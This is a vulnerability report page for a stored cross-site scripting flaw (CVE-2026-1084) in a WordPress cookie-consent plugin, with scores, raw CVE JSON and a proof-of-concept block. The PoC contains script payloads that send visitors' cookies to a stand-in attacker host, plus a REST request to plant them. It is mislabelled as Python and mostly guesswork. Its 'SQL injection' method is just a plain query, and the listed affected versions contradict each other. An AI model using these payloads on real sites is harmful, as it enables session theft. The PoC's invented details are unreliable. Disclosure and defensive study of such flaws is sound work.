Security Vulnerability Report
中文
CVE-2026-1084 CVSS 4.4 MEDIUM

CVE-2026-1084

Published: 2026-01-24 08:16:08
Last Modified: 2026-04-15 00:35:42

Description

The Cookie consent for developers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple settings fields in all versions up to, and including, 1.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cookie consent for developers < 1.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-1084 PoC - Stored XSS in Cookie Consent for Developers plugin // Prerequisites: Administrator access or higher // Method 1: Via WordPress Admin Settings // 1. Login as Administrator // 2. Navigate to Settings > Cookie Consent (or similar admin menu) // 3. In any setting field (e.g., title, description, button text), inject: <script>alert(document.cookie)</script> // Method 2: Via WordPress REST API (if available) const payload = { 'title': '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', 'description': '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' }; fetch('/wp-json/ntg-cookie-consent/v1/settings', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': nonce // Requires valid admin nonce }, body: JSON.stringify(payload) }); // Method 3: Via SQL Injection (if applicable) // Check for direct SQL queries without proper sanitization // SELECT * FROM wp_options WHERE option_name LIKE '%ntg_cookie%'; // Trigger the XSS: // Visit any page that displays the cookie consent settings // The malicious script will execute in the victim's browser

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1084", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:08.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Cookie consent for developers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple settings fields in all versions up to, and including, 1.7.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Cookie consent para developers para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de múltiples campos de configuración en todas las versiones hasta la 1.7.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador y superiores, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a las instalaciones multisitio y a las instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cookie-consent-for-developers/tags/1.7.1/admin/class-ntg-cookie-consent-admin.php#L112", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cookie-consent-for-developers/tags/1.7.1/admin/partials/ntg-cookie-consent-admin-display.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cookie-consent-for-developers/trunk/admin/class-ntg-cookie-consent-admin.php#L112", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cookie-consent-for-developers/trunk/admin/partials/ntg-cookie-consent-admin-display.php#L108", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c16918a9-7b73-418d-adbd-aa17cb1d8cf8?source=cve", "source": "[email protected]"}]}}